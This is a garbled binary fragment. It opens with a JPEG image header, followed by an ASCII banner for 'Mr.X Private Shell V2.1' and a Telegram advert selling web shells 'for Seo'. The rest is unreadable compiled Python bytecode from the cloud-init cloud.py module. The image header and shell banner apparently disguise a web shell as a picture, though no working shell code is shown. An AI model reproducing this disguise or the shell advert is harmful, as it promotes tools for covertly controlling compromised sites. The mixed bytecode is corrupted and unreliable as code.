����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
'�Dg� � @ st d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZm Z d dl
mZ d dlm
Z
e�e�ZG dd� d�ZdS ) � N)�Optional)�Distro)�Paths�Runners)�events)�
DataSourcec @ s� e Zd Zd!eeeeeee j
d�dd�Zedd� �Z
d"dd �Zd
d� Zd#d
d�Zdd� Zedd� �Zdd� Zdd� Zd$dd�Zdd� Zd%dd�Zd&dd�Zd'dd �ZdS )(�CloudN)�
datasource�paths�cfg�distro�runners�reporterc C s@ || _ || _|| _|| _|| _|d u r6tjdddd�}|| _d S )Nzunnamed-cloud-reporterF)�name�descriptionZreporting_enabled)r r
r �_cfg�_runnersr �ReportEventStackr )�selfr r
r r r
r � r �3/usr/lib/python3.9/site-packages/cloudinit/cloud.py�__init__ s �zCloud.__init__c C s t �| j�S �N)�copy�deepcopyr �r r r r r 6 s z Cloud.cfgFc C s | j �|||||�S )a� Run a function gated by a named semaphore for a desired frequency.
The typical case for this method would be to limit running of the
provided func to a single well-defined frequency:
PER_INSTANCE, PER_BOOT or PER_ONCE
The semaphore provides a gate that persists across cloud-init
boot stage boundaries so multiple modules can share this state
even if they happen to be run in different boot stages or across
reboots.
)r �run)r r Zfunctor�argsZfreqZ
clear_on_failr r r r ; s z Cloud.runc C s6 | j j| }tj�|�s2t�dtj�|�|� d S |S )Nz-No template found in %s for template named %s)r
Ztemplate_tpl�os�path�isfile�LOGZwarning�dirname)r r �fnr r r �get_template_filenameI s
�zCloud.get_template_filenameTc C s | j �|�S r )r �get_userdata)r Zapply_filterr r r r% U s zCloud.get_userdatac C s
| j �� S r )r �get_instance_idr r r r r&